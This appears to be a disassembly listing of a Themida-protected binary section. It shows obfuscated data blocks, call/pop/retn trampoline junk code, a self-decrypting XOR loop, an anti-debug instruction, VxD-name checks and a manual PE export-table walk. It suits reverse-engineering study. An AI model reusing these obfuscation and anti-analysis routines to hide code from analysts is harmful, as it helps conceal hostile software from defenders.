		dd 0DF39EF1Bh, 0AA0B6049h, 55E7C89Fh, 0FF0C3014h, 0EB2F5E60h
		dd 3B534A7Ch, 0E44122C3h, 55E7C855h, 35466AEEh,	0A8183DAh
		dd 71FC8D08h, 13774FC8h, 0D75F61F8h, 51B5C5B8h,	404F1E2Dh
		dd 5BD93D4Dh, 8FFE009Fh, 9C740C7Fh, 1971AFBFh, 0BDAD220h
		dd 39E14E7Dh, 3A45F20Ch, 987E31A4h, 4BD494B3h, 0D1354540h
		dd 0E42D6AADh, 55C55CE7h, 0BF47h, 336E9E00h, 5E4F70EFh
		dd 47424DDAh, 6F2624C3h, 900D3CABh, 9D250F8Ch, 70EF336Eh
		dd 49D65A53h, 21BE423Dh, 0CDA86C1Fh, 0FA02317Eh, 728155E7h
		dd 0D6F48B4Eh, 806155DFh, 1554C7F4h, 677BDF8h, 49DF2B85h
		dd 1895B2C9h, 5AAE64E0h, 8A86C5F6h, 6460FF0Fh, 0A9F60529h
		dd 55E7DB9Ah, 0CFFF3519h, 1B1F8EB0h, 0B037A8Ch,	0ED02E8AAh
		dd 0CF2691F4h, 0EC1F8EB0h, 0BECC729Dh, 0A151A3C7h, 72890406h
		dd 6CA6DDEBh, 8A010F50h, 0CF261572h, 0AF088EB0h, 36E1E09Ch
		dd 0A2168FBCh, 51692425h, 69ADD1F5h, 8EC6CCFEh,	261A288Bh
		dd 0EB6667B5h, 6836E11Dh, 5BC8C0E4h, 878D0804h,	385h, 0A68C1300h
		dd 4346767h, 3A52497Bh,	5E6E2925h, 71890401h, 0AAA2DFEEh
		dd 0C3FBB6D5h, 0E7178EBCh, 18306D98h, 27574647h, 0E289521Fh
		dd 4BF57h, 0FA010000h, 4EA835Fh, 5C241487h, 81E38953h
		dd 4C3h, 4EB8300h, 5C241C87h, 50243489h, 405E089h, 2D000000h
		dd 4, 5C240487h, 50241489h, 3C5C1CB8h, 25D8F743h, 463A2229h
		dd 0DA39340Dh, 35D8F71Bh, 0F8F0A162h, 0C158C689h, 0CE8103E6h
		dd 73D349A7h, 0DCE8C681h, 8B540E1Bh, 0C4832414h, 8BB5304h
		dd 1000000h, 8B3389D3h,	0C481241Ch, 4, 5A2434FFh, 4C481h
		dd 348B0000h, 0E1895124h, 4C181h, 0C1810000h, 4, 5C240C87h
		dd 0FD165FE9h
		db 0FFh, 93h, 34h
; ---------------------------------------------------------------------------


loc_5B461F:				; CODE XREF: Themida_:loc_5B25A4j
		mov	eax, 61769DDh
		add	eax, ebp
		jmp	eax
; ---------------------------------------------------------------------------
		mov	al, ds:0DB3CCE5Ch
		retn	27C6h
; ---------------------------------------------------------------------------
		scasb
		inc	esp
		sahf
		inc	ecx
		inc	eax
		retn
; ---------------------------------------------------------------------------
		dw 65B5h
		dd 7A4831C8h, 11C660F1h, 7CA71B77h, 1408112Fh, 14E8h, 0ECDBEE00h
		dd 3D39D7B8h, 0EA714778h, 2D86E19Fh, 0CAA5F809h, 0EFD38147h
		dd 5F067BC7h, 8E9h, 8BD68500h, 1255F9F5h, 19C781BEh, 80000064h
		dd 0D4B900E7h, 815BD4B1h, 0D4A909F1h, 0E081665Bh, 37FF0A1Fh
		dd 5A71C380h, 0DA34EEBBh, 79F2810Fh, 0F300A92h,	87h, 0B7C28100h
		dd 664F4DB3h, 0F281C78Bh, 4E58718Fh, 0EF811789h, 4248FEECh
		dd 81C3BF0Fh, 48FEE8C7h, 5FBE6642h, 1E98120h, 0F000000h
		dd 0B85h, 1CE900h, 2120000h, 83067DCCh,	0E9F2BF0Fh, 0FFFFFFA6h
		dd 903A1CEDh, 0F3A00965h, 929A9D24h, 34EB576Ch,	4D534649h
		dd 20205247h, 20444B56h, 20202020h, 204D4D56h, 20202020h
		dd 4E495756h, 20203233h, 4C445856h, 20205244h, 3 dup(0)
; ---------------------------------------------------------------------------
		jmp	loc_5B4E6D
; ---------------------------------------------------------------------------
		jnp	loc_5B4742
		pusha
		add	ebx, 4E58E434h
		mov	dx, ax
		popa


loc_5B4742:				; CODE XREF: Themida_:005B4731j
		pusha
		push	0
		push	ecx
		call	sub_5B474E
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B474E	proc near		; CODE XREF: Themida_:005B4746p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 1Ah
		inc	ecx
		push	ecx
		retn
sub_5B474E	endp

; ---------------------------------------------------------------------------
		xor	ebp, [edi+13B745Ah]
		and	ebp, ecx
		or	eax, 0F2000000h
		lodsd
		das
		pop	es
		cmp	[ebp+331EB4D7h], ecx
		lahf
		mov	al, 2Fh
		mov	dword ptr [ebp+6176B84h], 0
		pusha
		jmp	loc_5B479A
; ---------------------------------------------------------------------------
		db 0FEh
		dd 0ED79CC5Eh, 0CFAFCE3Ch, 0E09A5B2Bh, 9C2A8202h
		db 58h,	0C0h
; ---------------------------------------------------------------------------


loc_5B479A:				; CODE XREF: Themida_:005B4782j
		pusha
		push	esi
		pop	eax
		call	near ptr loc_5B47A6+4
		pop	ecx
		movsd
		adc	ebx, eax


loc_5B47A6:				; CODE XREF: Themida_:005B479Dp
		adc	[ebp+6158F885h], al
		popa
		mov	eax, esi
		push	0
		push	eax
		call	sub_5B47BA
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B47BA	proc near		; CODE XREF: Themida_:005B47B2p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 17h
		inc	eax
		push	eax
		retn
sub_5B47BA	endp

; ---------------------------------------------------------------------------
		dw 406Fh
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		icebp
		jbe	loc_5B47DB
		jo	loc_5B47DB
		stc


loc_5B47DB:				; CODE XREF: Themida_:005B47CEj
					; Themida_:005B47D4j
		movzx	ebx, ax
		pusha
		mov	ax, di
		mov	ecx, esi
		popa
		pusha
		call	near ptr loc_5B47F4+4
		test	eax, 9EC49033h
		sar	dword ptr [ecx+78h], 1
		inc	ebx


loc_5B47F4:				; CODE XREF: Themida_:005B47E6p
		cmp	[edx-2074D4C8h], al
		pop	edi
		mov	ebx, ecx
		popa
		shr	eax, 10h
		pusha
		js	$+6
		movzx	edi, di
		popa
		ror	ax, 8
		jmp	loc_5B481B
; ---------------------------------------------------------------------------
		ja	short loc_5B4856
		dec	ebx
		movsb
		and	al, 3Ch


loc_5B481B:				; CODE XREF: Themida_:005B4810j
		mov	[ebp+6176B88h],	eax
		push	0
		push	ebx
		call	sub_5B482C
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B482C	proc near		; CODE XREF: Themida_:005B4824p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 18h
		inc	ebx
		push	ebx
		retn
sub_5B482C	endp

; ---------------------------------------------------------------------------
		sbb	al, 3Fh
		inc	esi
		inc	esp
		dec	edx
		clc
		ror	bx, 8
		jmp	loc_5B485B
; ---------------------------------------------------------------------------
		db 0EBh
		dd 0B42ED4E2h, 0F26A3BC7h
; ---------------------------------------------------------------------------
		mov	bh, 5Eh


loc_5B4856:				; CODE XREF: Themida_:005B4815j
		dec	ebx
		xchg	eax, ebp
		movsb
; ---------------------------------------------------------------------------
		db 0FEh, 54h
; ---------------------------------------------------------------------------


loc_5B485B:				; CODE XREF: Themida_:005B4846j
		cmp	ebx, 40h
		jnz	loc_5B48D6
		clc
		lea	edi, [ebp+6176B5Ch]
		push	0
		push	ebp
		call	sub_5B4876
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B4876	proc near		; CODE XREF: Themida_:005B486Ep

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 19h
		inc	ebp
		push	ebp
		retn
sub_5B4876	endp

; ---------------------------------------------------------------------------
		dw 0A8FBh
		dd 43F57536h, 0F1B70F60h, 0AE9h, 406FC100h, 0B78F1C3h
		dd 61B60636h, 193E9h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1604h, 0C3564600h, 0E901C09Bh, 0Eh, 3FD32499h
		dd 0ECE105B7h, 110B099Eh
		db 9, 94h
; ---------------------------------------------------------------------------


loc_5B48D6:				; CODE XREF: Themida_:005B485Ej
		cmp	ebx, 0Dh
		jnz	loc_5B4935
		push	0
		push	ebx
		call	sub_5B48EA
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B48EA	proc near		; CODE XREF: Themida_:005B48E2p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 18h
		inc	ebx
		push	ebx
		retn
sub_5B48EA	endp

; ---------------------------------------------------------------------------
		push	ecx
		xchg	eax, ebp
		mov	ds:0BD8D4727h, al
		imul	edx, fs:[edi], 6
		jb	loc_5B490C
		cld


loc_5B490C:				; CODE XREF: Themida_:005B4905j
		jmp	loc_5B4A38
; ---------------------------------------------------------------------------
		push	0
		push	esi
		call	sub_5B491C
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B491C	proc near		; CODE XREF: Themida_:005B4914p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 1Bh
		inc	esi
		push	esi
		retn
sub_5B491C	endp

; ---------------------------------------------------------------------------
		dd 7CFEFC23h, 3613D3D8h
; ---------------------------------------------------------------------------
		stc


loc_5B4935:				; CODE XREF: Themida_:005B48D9j
		cmp	ebx, 1
		jnz	loc_5B49A2
		push	0
		push	edi
		call	sub_5B4949
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B4949	proc near		; CODE XREF: Themida_:005B4941p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 18h
		inc	edi
		push	edi
		retn
sub_5B4949	endp

; ---------------------------------------------------------------------------
		db 0E3h, 68h, 77h
		db 0CCh
		db 20h,	60h, 66h
; ---------------------------------------------------------------------------
		sbb	edx, 61F5197Dh
		lea	edi, [ebp+6176B6Ch]
		push	0
		push	ebp
		call	sub_5B4977
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B4977	proc near		; CODE XREF: Themida_:005B496Fp

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 1Ch
		inc	ebp
		push	ebp
		retn
sub_5B4977	endp

; ---------------------------------------------------------------------------
		xor	edi, ebp
		popa
		db	64h
		mov	bl, 33h
		add	ah, [ebx+56h]
		pusha
		mov	cx, 17DEh
		popa
		jmp	loc_5B4A38
; ---------------------------------------------------------------------------
		jz	loc_5B49A2
		stc


loc_5B49A2:				; CODE XREF: Themida_:005B4938j
					; Themida_:005B499Bj
		cmp	ebx, 2Ah
		jnz	loc_5B49F7
		jmp	loc_5B49B9
; ---------------------------------------------------------------------------
		dd 0A82F884Fh, 8753EB7Ah
		db 8Bh
; ---------------------------------------------------------------------------


loc_5B49B9:				; CODE XREF: Themida_:005B49ABj
		jb	loc_5B49D1
		jmp	loc_5B49D1
; ---------------------------------------------------------------------------
		dd 78C43AF8h, 52E0CAE4h, 0AB9F54E3h
; ---------------------------------------------------------------------------
		cdq


loc_5B49D1:				; CODE XREF: Themida_:loc_5B49B9j
					; Themida_:005B49BFj
		lea	edi, [ebp+6176B74h]
		cld
		jmp	loc_5B4A38
; ---------------------------------------------------------------------------
		jnz	loc_5B49F7
		jmp	loc_5B49F7
; ---------------------------------------------------------------------------
		dd 746DD8C6h, 0EE546464h, 0C8EA1002h
; ---------------------------------------------------------------------------
		sbb	edi, [eax-7Bh]


loc_5B49F7:				; CODE XREF: Themida_:005B49A5j
					; Themida_:005B49DDj ...
		cmp	ebx, 27h
		jnz	loc_5B4D39
		jle	loc_5B4A07
		clc


loc_5B4A07:				; CODE XREF: Themida_:005B4A00j
		lea	edi, [ebp+6176B7Ch]
		push	0
		push	edx
		call	sub_5B4A18
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B4A18	proc near		; CODE XREF: Themida_:005B4A10p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 16h
		inc	edx
		push	edx
		retn
sub_5B4A18	endp

; ---------------------------------------------------------------------------
		dd 0E9D249ECh, 8, 6309A631h, 0AB9EBE27h
; ---------------------------------------------------------------------------


loc_5B4A38:				; CODE XREF: Themida_:loc_5B490Cj
					; Themida_:005B4996j ...
		mov	[ebp+6176B8Ch],	edi
		push	0
		push	eax
		call	sub_5B4A49
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B4A49	proc near		; CODE XREF: Themida_:005B4A41p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 16h
		inc	eax
		push	eax
		retn
sub_5B4A49	endp

; ---------------------------------------------------------------------------
		db 1Bh,	26h, 1Dh
; ---------------------------------------------------------------------------
		pusha
		mov	ch, 4Ah
		mov	ebx, eax
		popa
		pusha
		push	ebx
		jl	$+6
		pop	eax
		sbb	ebx, 403483C2h
		popa
		mov	ax, cs
		jl	loc_5B4A81
		pusha
		stc
		movzx	ecx, si
		popa


loc_5B4A81:				; CODE XREF: Themida_:005B4A75j
		and	al, 3
		jmp	loc_5B4A8F
; ---------------------------------------------------------------------------
		dd 335C4CA5h
		db 0F5h, 11h, 0B3h
; ---------------------------------------------------------------------------


loc_5B4A8F:				; CODE XREF: Themida_:005B4A83j
		or	al, al
		jnz	loc_5B4C64
		jp	loc_5B4AA4
		ja	loc_5B4AA4
		stc


loc_5B4AA4:				; CODE XREF: Themida_:005B4A97j
					; Themida_:005B4A9Dj
		lea	esi, [ebp+617721Eh]
		jmp	loc_5B4AB9
; ---------------------------------------------------------------------------
		db 92h
		dd 0A1D45BCDh, 0A3A059C4h
; ---------------------------------------------------------------------------
		inc	ebp


loc_5B4AB9:				; CODE XREF: Themida_:005B4AAAj
		mov	eax, [ebp+6177256h]
		push	0
		push	ebp
		call	sub_5B4ACA
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B4ACA	proc near		; CODE XREF: Themida_:005B4AC2p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 14h
		inc	ebp
		push	ebp
		retn
sub_5B4ACA	endp

; ---------------------------------------------------------------------------
		dw 6096h
		dd 8B0FF560h, 0
		dd 11B96061h, 6107F446h, 52505061h, 820F5250h, 0
		dd 0EE9310Fh, 66000000h, 9DF7E8FAh, 43E2C83Bh, 2FB799EAh
		dd 0F585A01h, 0E9525031h, 0Bh, 0C0C63281h, 0C318942h, 0F4675E1h
		dd 0F525031h, 5A585A31h, 89585A58h, 8B602414h, 28A0FD3h
		dd 53000000h, 10F6159h,	60FE244Ch, 68D0Fh, 840F0000h, 0
		dd 8A0F5A61h, 1, 24C283F9h, 728966F8h, 57006AFCh, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1404h, 0C3574700h
		dd 0FE9F5h, 0AA390000h,	908CC0B0h, 0C05EAA67h, 0A101C96Ah
		dd 0BE96Fh, 0F8BC0000h,	0CC76F1Eh, 4D2748DFh, 12E9EDh
		dd 0F15D0000h, 499EACF2h, 9B3B46ECh, 50E9AC93h,	60C2AB12h
		dd 6A10CEC1h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1C042444h, 41000000h, 0ABD8C351h, 0B3F897D0h, 0FDF7D07h
		dd 0B81h, 6E900h, 9AA40000h, 9393B073h,	728966F8h, 0C830F02h
		dd 0E9000000h, 7, 0FD764888h, 0CD17714Ah, 0F2E9F804h, 6A000000h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 18042444h
		dd 43000000h, 0DF3CC353h, 60FD9E38h, 58F0Fh, 16BE0000h
		dd 81424B75h, 180162C9h, 0F606165h, 80h, 12E800h, 87830000h
		dd 865DE0FBh, 0ED856891h, 4CDA7E90h, 8A9E8F6Bh,	615E6160h
; ---------------------------------------------------------------------------


loc_5B4C64:				; CODE XREF: Themida_:005B4A91j
		mov	eax, [ebp+6177256h]
		push	0
		push	eax
		call	sub_5B4C75
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B4C75	proc near		; CODE XREF: Themida_:005B4C6Dp

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 17h
		inc	eax
		push	eax
		retn
sub_5B4C75	endp

; ---------------------------------------------------------------------------
		db 0CEh, 28h, 41h
; ---------------------------------------------------------------------------
		mov	ebx, 721EB58Dh
		pop	ss
		push	es
		push	0
		push	edx
		call	sub_5B4C9A
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B4C9A	proc near		; CODE XREF: Themida_:005B4C92p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 18h
		inc	edx
		push	edx
		retn
sub_5B4C9A	endp

; ---------------------------------------------------------------------------
		dw 6400h
		dd 0F5DB220h, 188h, 858DFC00h, 6174134h, 0E852006Ah, 3
		dd 5AC35A20h, 4245489h,	4244481h, 17h, 0C7C35242h, 0FF40F37Ch
		dd 8B6660D0h, 198F0FFAh, 0E8000000h, 13h, 0C4C75C7h, 20466332h
		dd 30E42EC4h, 33531708h, 5A4365A2h, 84858961h, 6A06176Bh
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 1C042444h
		dd 43000000h, 72DFC353h, 14288BEBh, 0F9BA5EBh, 884h, 2860F00h
		dd 60000000h
; ---------------------------------------------------------------------------
		popa


loc_5B4D39:				; CODE XREF: Themida_:005B49FAj
		popa
		push	0
		push	edx
		call	sub_5B4D45
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B4D45	proc near		; CODE XREF: Themida_:005B4D3Dp

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 1Ah
		inc	edx
		push	edx
		retn
sub_5B4D45	endp

; ---------------------------------------------------------------------------
		sbb	eax, 0A0BE7153h
		sahf
		xchg	eax, ebp
		jmp	loc_5B4D75
; ---------------------------------------------------------------------------
		db 15h,	0BFh, 17h
		dd 0AD17C280h, 2272F442h, 9378A99Fh, 0C7F88B9Bh
; ---------------------------------------------------------------------------
		aas


loc_5B4D75:				; CODE XREF: Themida_:005B4D5Cj
		cmc
		mov	eax, [ebp+6176B84h]
		push	0
		push	esi
		call	sub_5B4D87
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B4D87	proc near		; CODE XREF: Themida_:005B4D7Fp

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 1Bh
		inc	esi
		push	esi
		retn
sub_5B4D87	endp

; ---------------------------------------------------------------------------
		db 0B4h
		dd 95E3C92Ch, 0E959F2ECh, 0Eh, 91572E89h, 0DA40906Fh, 0E35BB2FEh
		dd 0FC34AAFh, 18Eh, 0FC60F500h,	7256BD83h, 0F000617h, 1285h
		dd 18E0F00h, 0F8000000h, 725685C7h, 13F0617h, 0E9FC0001h
		dd 10h,	5800F60h, 0B9000000h, 7D57A5FEh, 61D6BF0Fh, 20CDh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5B4DF6:				; CODE XREF: Themida_:005B4E2Fj
		or	eax, eax
		jz	short loc_5B4E31
		lea	esi, [eax+0Ch]
		mov	edi, [ebp+6176B8Ch]
		mov	ecx, 8


loc_5B4E08:				; CODE XREF: Themida_:005B4E0Cj
		cmpsb
		jnz	short loc_5B4E2D
		dec	ecx
		jnz	short loc_5B4E08
		mov	ecx, [eax+30h]
		mov	ebx, [ebp+6176B88h]
		cmp	ebx, [eax+34h]
		jg	short loc_5B4E31
		mov	edx, ebx
		imul	edx, 4
		add	ecx, edx
		mov	eax, [ecx]
; ---------------------------------------------------------------------------
		db 89h
; ---------------------------------------------------------------------------


loc_5B4E26:				; CODE XREF: Themida_:005B4E7Cj
		test	[ebx+ebp*2+4EB0617h], eax


loc_5B4E2D:				; CODE XREF: Themida_:005B4E09j
		mov	eax, [eax]
		jmp	short loc_5B4DF6
; ---------------------------------------------------------------------------


loc_5B4E31:				; CODE XREF: Themida_:005B4DF8j
					; Themida_:005B4E1Aj
		popa
		mov	eax, [ebp+6176B84h]
		iret
; ---------------------------------------------------------------------------
		clc
		push	0
		push	edi
		call	sub_5B4E45
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B4E45	proc near		; CODE XREF: Themida_:005B4E3Dp

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 1Ch
		inc	edi
		push	edi
		retn
sub_5B4E45	endp

; ---------------------------------------------------------------------------
		db 0E0h, 82h, 50h
		dd 0F2A5B0F5h, 66603B38h, 0F55CD281h, 2870Fh, 0C2B60000h
; ---------------------------------------------------------------------------
		popa


loc_5B4E6D:				; CODE XREF: Themida_:005B472Cj
		mov	eax, eax
		call	sub_5B4E7F
		imul	ebp, [ecx], -1Dh
		xor	eax, 3F60F617h
		jp	short loc_5B4E26
		lahf

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_5B4E7F	proc near		; CODE XREF: Themida_:005B4E6Fp
		jmp	sub_5B4E8C
sub_5B4E7F	endp

; ---------------------------------------------------------------------------
		dd 8A8D6ADCh, 0CC8F8998h

; =============== S U B	R O U T	I N E =======================================



sub_5B4E8C	proc near		; CODE XREF: sub_5B4E7Fj
		pop	eax
		jl	loc_5B4E98
		mov	esi, 34CE553Ah


loc_5B4E98:				; CODE XREF: sub_5B4E8C+1j
		add	eax, 6311h
		mov	edx, 71338B91h
		add	edx, 8ECC8D03h
		mov	esi, edi


loc_5B4EAB:				; CODE XREF: Themida_:005B4F31j
		push	dword ptr [eax]
		pop	ecx
		stc
		xor	ecx, 23BA0111h
		movzx	ebx, di
		add	ecx, 2167C70Bh
		and	di, 2F25h
		xor	ecx, 474983F9h
		jmp	loc_5B4ED5
; ---------------------------------------------------------------------------
		db 90h
		db 5Dh
		dd 7EB1B876h
		db 9
; ---------------------------------------------------------------------------


loc_5B4ED5:				; CODE XREF: sub_5B4E8C+3Dj
		push	ecx
		ja	loc_5B4EEE
		jmp	loc_5B4EEE
; ---------------------------------------------------------------------------
		db 0Fh,	14h, 0B0h
		dd 86124D8Ah, 0DED39598h
		db 0DDh, 35h
; ---------------------------------------------------------------------------


loc_5B4EEE:				; CODE XREF: sub_5B4E8C+4Aj
					; sub_5B4E8C+50j
		pop	dword ptr [eax]
		mov	di, 62A4h
		sub	eax, 29672794h
		jmp	loc_5B4F0A
; ---------------------------------------------------------------------------
		db 0AAh
		dd 0E36C1E77h, 0C818154Eh
		db 39h,	0D8h
; ---------------------------------------------------------------------------


loc_5B4F0A:				; CODE XREF: sub_5B4E8C+6Ej
		add	eax, 29672790h
		push	edi
		call	near ptr loc_5B4F1E+8
		xor	[esi-77h], edi
		cmp	gs:[esp+edx*2+0Eh], al


loc_5B4F1E:				; CODE XREF: sub_5B4E8C+85p
		imul	esp, [eax+7D014D13h], 850F07E9h
sub_5B4E8C	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		dd 0
; ---------------------------------------------------------------------------
		pop	esi
		pop	edi
		sub	edx, 1
		jnz	loc_5B4EAB
		mov	bl, 0D1h
		jmp	loc_5B4FC1
; ---------------------------------------------------------------------------
		push	ebx
		push	ecx
		push	edx
		push	esi
		push	edi
		mov	ebx, [esp+1Ch]
		cmp	word ptr [ebx],	5A4Dh
		jnz	loc_5B4FBA
		movzx	eax, word ptr [ebx+3Ch]
		add	ebx, eax
		cmp	word ptr [ebx],	4550h
		jnz	loc_5B4FBA
		mov	ebx, [ebx+78h]
		add	ebx, [esp+1Ch]
		mov	esi, [ebx+24h]
		add	esi, [esp+1Ch]
		push	esi
		mov	edi, [ebx+20h]
		mov	esi, [ebx+1Ch]
		add	edi, [esp+20h]
		add	esi, [esp+20h]
		cld
		or	ecx, 0FFFFFFFFh


loc_5B4F84:				; CODE XREF: Themida_:005B4F9Aj
					; Themida_:005B4FA2j
		inc	ecx
		mov	ebx, [esp+1Ch]
		mov	edx, [edi]
		add	edx, [esp+20h]
		add	edi, 4


loc_5B4F92:				; CODE XREF: Themida_:005B4F9Ej
		mov	al, [edx]
		test	al, al
		jz	short loc_5B4FA0
		cmp	al, [ebx]
		jnz	short loc_5B4F84
		inc	ebx
		inc	edx
		jmp	short loc_5B4F92
; ---------------------------------------------------------------------------


loc_5B4FA0:				; CODE XREF: Themida_:005B4F96j
		cmp	al, [ebx]
		jnz	short loc_5B4F84
		pop	edi
		shl	ecx, 1
		movzx	eax, word ptr [edi+ecx]
		mov	eax, [esi+eax*4]
		add	eax, [esp+1Ch]


loc_5B4FB2:				; CODE XREF: Themida_:005B4FBCj
		pop	edi
		pop	esi
		pop	edx
		pop	ecx
		pop	ebx
		retn	8
; ---------------------------------------------------------------------------


loc_5B4FBA:				; CODE XREF: Themida_:005B4F4Cj
					; Themida_:005B4F5Dj
		xor	eax, eax
		jmp	loc_5B4FB2
; ---------------------------------------------------------------------------


loc_5B4FC1:				; CODE XREF: Themida_:005B4F39j
		mov	ecx, edx
		call	sub_5B4FCF
		and	al, ah
		dec	eax
		pop	esi
		push	ss
		loopne	near ptr loc_5B4FFC+1

; =============== S U B	R O U T	I N E =======================================



sub_5B4FCF	proc near		; CODE XREF: Themida_:005B4FC3p

var_A3C		= dword	ptr -0A3Ch
var_A34		= dword	ptr -0A34h
var_A2C		= dword	ptr -0A2Ch
var_A24		= dword	ptr -0A24h
var_A00		= dword	ptr -0A00h
var_9F8		= dword	ptr -9F8h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
arg_4		= dword	ptr  8
arg_14		= dword	ptr  18h
arg_1C		= dword	ptr  20h
arg_20		= dword	ptr  24h
arg_3C		= dword	ptr  40h

		mov	ebx, ecx
		pop	edi
		jmp	loc_5B4FE4
; ---------------------------------------------------------------------------
		db 54h
		dd 88A170A2h, 0A5BC99E1h, 0D0F02986h
; ---------------------------------------------------------------------------


loc_5B4FE4:				; CODE XREF: sub_5B4FCF+3j
		add	edi, 5935h
		mov	cl, ah
		xor	eax, eax
		mov	dx, si


loc_5B4FF1:				; CODE XREF: sub_5B4FCF+95j
		mov	esi, [edi+eax]
		mov	bl, ah
		sub	esi, 55DA5734h


loc_5B4FFC:				; CODE XREF: Themida_:005B4FCDj
		jo	loc_5B5005
		mov	cx, ax


loc_5B5005:				; CODE XREF: sub_5B4FCF:loc_5B4FFCj
		xor	esi, 6039C194h
		mov	ecx, 45B9231Eh
		xor	esi, 1BC92451h
		mov	bx, 0FEA2h
		mov	[edi+eax], esi
		jmp	loc_5B5035
; ---------------------------------------------------------------------------
		dw 0BFCh
		dd 3A4243BAh, 0FCD598C6h, 9A50A1A8h, 1B635D57h
		db 35h
; ---------------------------------------------------------------------------


loc_5B5035:				; CODE XREF: sub_5B4FCF+4Ej
		xor	cx, 85C3h
		sub	eax, 2
		mov	cl, 0A2h
		dec	eax
		dec	eax
		mov	dx, 6B43h
		cmp	eax, 0FFFFA774h
		jnz	loc_5B5063
		jmp	loc_5B5075
; ---------------------------------------------------------------------------
		db 0CCh
		db 33h
		dd 0AA07CA65h, 0ECF4C7Eh
		db 0F2h, 53h, 0BCh
; ---------------------------------------------------------------------------


loc_5B5063:				; CODE XREF: sub_5B4FCF+7Cj
		stc
		jmp	loc_5B4FF1
; ---------------------------------------------------------------------------
		db 0C0h, 1Dh, 0CDh
		dd 0AF92EF8Ch, 0D7A9D423h
		db 0B0h
; ---------------------------------------------------------------------------


loc_5B5075:				; CODE XREF: sub_5B4FCF+82j
		jmp	loc_5B547A
; ---------------------------------------------------------------------------
		align 4
		dd 41330000h, 6E69206Eh, 6E726574h, 65206C61h, 70656378h
		dd 6E6F6974h, 63636F20h, 64657275h, 64412820h, 73657264h
		dd 30203A73h, 29782578h, 6C500D0Ah, 65736165h, 6F63202Ch
		dd 6361746Eh, 75732074h, 726F7070h, 726F4074h, 736E6165h
		dd 6D6F632Eh, 6854202Eh, 206B6E61h, 21756F79h, 0E4h dup(0)
		dd offset dword_55FD48+2B8h
		dd offset dword_4491E4+6E1Ch
		dd 0
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5B547A:				; CODE XREF: sub_5B4FCF:loc_5B5075j
		jmp	loc_5B65D2
; ---------------------------------------------------------------------------
		add	[ebp+6141BD1h],	esi
		jmp	loc_5B549A
; ---------------------------------------------------------------------------
		dw 0A846h
		dd 0A698615Bh, 5BC4BBF2h, 0A531400Dh
		db 0B9h, 8Ch
; ---------------------------------------------------------------------------


loc_5B549A:				; CODE XREF: sub_5B4FCF+4B6j
		mov	eax, [ebp+6142B25h]
		sub	[ebp+61434B1h],	esi
		cmp	[esp-4+arg_4], eax
		jnz	loc_5B5502
		jbe	loc_5B54B7
		stc


loc_5B54B7:				; CODE XREF: sub_5B4FCF+4E1j
		jb	loc_5B54C3
		mov	[ebp+6140A31h],	edx


loc_5B54C3:				; CODE XREF: sub_5B4FCF:loc_5B54B7j
		cmp	dword ptr [ebp+61416D1h], 0
		jz	loc_5B5502
		or	[ebp+6143145h],	edi
		js	loc_5B54E6
		pusha
		xor	ebx, [ebp+614065Dh]
		mov	dl, 5Dh
		popa


